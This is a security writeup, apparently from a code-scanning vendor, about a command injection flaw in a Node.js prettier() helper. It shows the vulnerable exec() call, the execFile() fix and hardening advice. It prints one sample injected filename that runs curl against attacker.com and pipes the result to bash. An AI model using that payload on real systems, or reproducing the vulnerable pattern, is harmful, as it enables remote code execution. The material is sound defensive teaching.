How Command Injection Happens in Node.js child_process Calls and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Command Injection via child_process.exec() |
| CWE | CWE-78 — OS Command Injection |
| Language | TypeScript / Node.js |
| Severity | High |
| Root Cause | exec() interpolates fileName into a shell command string |
| Fix | Replace exec() with execFile(), pass args as an array |
Introduction
The tools/utils/lang/helpers.ts file handles language tooling utilities, including a prettier() helper function that formats source files on disk. At line 48, this function accepted a fileName string argument and passed it directly into a shell command via Node.js's exec():
exec(`prettier --write ${fileName}`, error => { ... });
That single line of template literal interpolation is a textbook command injection sink. If fileName ever originates from an untrusted source — a file path passed in from an API consumer, a build script fed by environment variables, or a CI pipeline processing external input — an attacker can embed shell metacharacters in the filename to execute arbitrary commands on the host system.
This post walks through exactly how this vulnerability works, what an attacker could do with it, and how the fix structurally eliminates the risk.
The Vulnerability Explained
Why exec() Is Dangerous with Dynamic Input
Node.js's child_process.exec() works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to it for interpretation. That means the shell processes every character in the string — including metacharacters like ;, &&, |, $(), and backticks — before running the command.
The vulnerable code was:
// BEFORE — vulnerable
import { exec } from 'child_process';
async function prettier(fileName: string): Promise<void> {
return new Promise((resolve, reject) => {
exec(`prettier --write ${fileName}`, error => {
if (error != null) {
reject(error);
return;
}
resolve();
});
});
}
The fileName parameter is interpolated directly into the shell command string with no sanitization, no allowlist validation, and no escaping. The shell sees the entire string as a command to parse, not as a command with a safe, quoted argument.
A Concrete Attack Scenario
Imagine a downstream consumer of this Node.js library calls prettier() with a filename derived from user input — for example, a web tool that lets users specify which file to format. An attacker supplies:
myfile.ts; curl https://attacker.com/shell.sh | bash
The resulting shell command becomes:
prettier --write myfile.ts; curl https://attacker.com/shell.sh | bash
The shell interprets the semicolon as a command separator and executes both commands sequentially. The attacker has achieved remote code execution on the server running the Node.js process.
Even without a web-facing interface, consider automated pipelines where filenames come from repository metadata, CI environment variables, or artifact manifests — all of which could be tampered with in a supply chain or CI poisoning attack.
Why This Was Flagged as "Defensive Hardening"
The PR assessment notes this as defensive hardening rather than an actively exploited vulnerability. The prettier() function is an internal utility, and fileName likely comes from controlled internal sources today. However, as the PR description notes:
"This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling."
Modern automated attack tools (including LLM-assisted exploit chains) actively search for these primitive patterns. Removing them proactively raises the cost of exploitation significantly.
The Fix
What Changed
The fix is surgical and precise — two lines changed, zero behavior change for valid inputs:
- import { exec } from 'child_process';
+ import { execFile } from 'child_process';
async function prettier(fileName: string): Promise<void> {
return new Promise((resolve, reject) => {
- exec(`prettier --write ${fileName}`, error => {
+ execFile('prettier', ['--write', fileName], error => {
if (error != null) {
reject(error);
return;
}
resolve();
});
});
}
Why execFile() Eliminates the Risk
execFile() does not spawn a shell. Instead, it executes the specified file directly as a process, passing the argument array to the OS's execve() syscall (or equivalent). This means:
-
No shell interpretation — The OS receives
prettieras the executable and['--write', fileName]as raw argument values. Shell metacharacters infileNameare passed literally to theprettierprocess, not interpreted by/bin/sh. -
Structural safety — The fix is not dependent on input validation logic that could be bypassed. Even if
fileNamecontains;,&&,$(...), or any other shell metacharacter,execFile()passes it as a literal string argument. There is no shell to interpret it. -
Separation of command and data — The executable (
'prettier') and its arguments (['--write', fileName]) are structurally separated. This is the same principle that makes parameterized SQL queries safe against SQL injection.
Before vs. After: The Security Model
| Aspect | exec() (before) |
execFile() (after) |
|---|---|---|
| Shell invoked? | ✅ Yes (/bin/sh -c ...) |
❌ No |
| Metachar safe? | ❌ No — shell interprets them | ✅ Yes — passed as literals |
| Template literal needed? | Yes | No — args are an array |
| Behavior for valid input | Identical | Identical |
Prevention & Best Practices
1. Default to execFile() or spawn() Over exec()
Treat exec() as a last resort. For the vast majority of use cases where you're running a known executable with arguments, execFile() or spawn() with an argument array is the correct choice.
// ❌ Dangerous pattern
exec(`mytool --flag ${userInput}`);
// ✅ Safe pattern
execFile('mytool', ['--flag', userInput]);
2. If You Must Use exec(), Use Shell Escaping
When exec() is genuinely necessary (e.g., you need shell features like pipes or redirects), use a library like shell-quote to escape arguments:
import { quote } from 'shell-quote';
exec(`mytool --flag ${quote([userInput])}`);
However, this is still more fragile than execFile() — prefer the structural fix.
3. Apply Input Allowlisting for File Paths
Even with execFile(), consider validating fileName against an allowlist of expected patterns (e.g., only .ts and .js extensions within the project directory):
const SAFE_EXTENSION = /\.(ts|js|tsx|jsx)$/;
if (!SAFE_EXTENSION.test(fileName)) {
throw new Error(`Unexpected file extension in: ${fileName}`);
}
This is defense-in-depth — it doesn't replace the execFile() fix, but it catches unexpected inputs early.
4. Lint for This Pattern in CI
Add Semgrep to your CI pipeline with the javascript.lang.security.detect-child-process ruleset. This specific rule (javascript.lang.security.detect-child-process.detect-child-process) flags exactly this pattern — exec() calls where a function argument flows into the command string.
# Example GitHub Actions step
- name: Semgrep scan
uses: semgrep/semgrep-action@v1
with:
config: p/javascript
5. Principle of Least Privilege
Ensure the Node.js process running this code has only the filesystem permissions it needs. Even if command injection were achieved, a process running as a low-privilege user with restricted filesystem access limits the blast radius.
Key Takeaways
-
exec()with template literals is a shell injection sink — The patternexec(`command ${variable}`)inhelpers.tsis structurally equivalent to unsanitized SQL string concatenation. The shell is the interpreter, and it will execute anything in the string. -
execFile()provides structural safety, not just sanitization — The fix works because it changes how the OS receives the command, not because it cleans the input. Even a completely unsanitizedfileNamecannot cause shell injection when passed as an array argument toexecFile(). -
Internal utilities are still attack surfaces — The
prettier()function inhelpers.tsis an internal helper, but it's part of a published Node.js library. Any downstream consumer who passes externally-sourced filenames to it inherits the vulnerability. -
Exploit primitives matter even without a direct exploit path — The pattern
exec(\prettier --write ${fileName}`)` is a primitive that automated tools can chain with other weaknesses. Removing it proactively is sound security engineering. -
The fix is a one-line import swap plus an argument refactor — Migrating from
exec()toexecFile()in this case required minimal code change and zero behavior change for valid inputs, making it a high-value, low-risk security improvement.
How Orbis AppSec Detected This
- Source: The
fileNameparameter of theprettier(fileName: string)function intools/utils/lang/helpers.ts— a string argument that flows in from callers and may originate from external or user-controlled input in downstream consumers. - Sink:
exec(`prettier --write ${fileName}`, ...)attools/utils/lang/helpers.ts:48— a shell-invoking call where the taintedfileNamevariable is interpolated directly into the command string. - Missing control: No input sanitization, no shell escaping, no allowlist validation on
fileNamebefore it reaches theexec()call. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Replaced
exec()withexecFile()and restructured the call to passfileNameas an element of an argument array, eliminating shell interpretation entirely.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in tools/utils/lang/helpers.ts is a clear illustration of how a single architectural choice — exec() vs. execFile() — determines whether a function is safe or exploitable. The prettier() helper looked innocuous: it just runs a formatter on a file. But by using exec() with a template literal, it handed the shell a string to interpret, and any shell-metacharacter-bearing filename became a command injection vector.
The fix is elegant in its simplicity: swap exec for execFile, move the arguments into an array, and the shell is never invoked. No allowlist logic, no regex escaping, no sanitization function to get wrong — just a structural change that makes the dangerous pattern impossible.
For developers writing Node.js tooling, the lesson is clear: reach for execFile() or spawn() by default, reserve exec() only for cases where you genuinely need shell features, and always treat function arguments as potentially tainted data.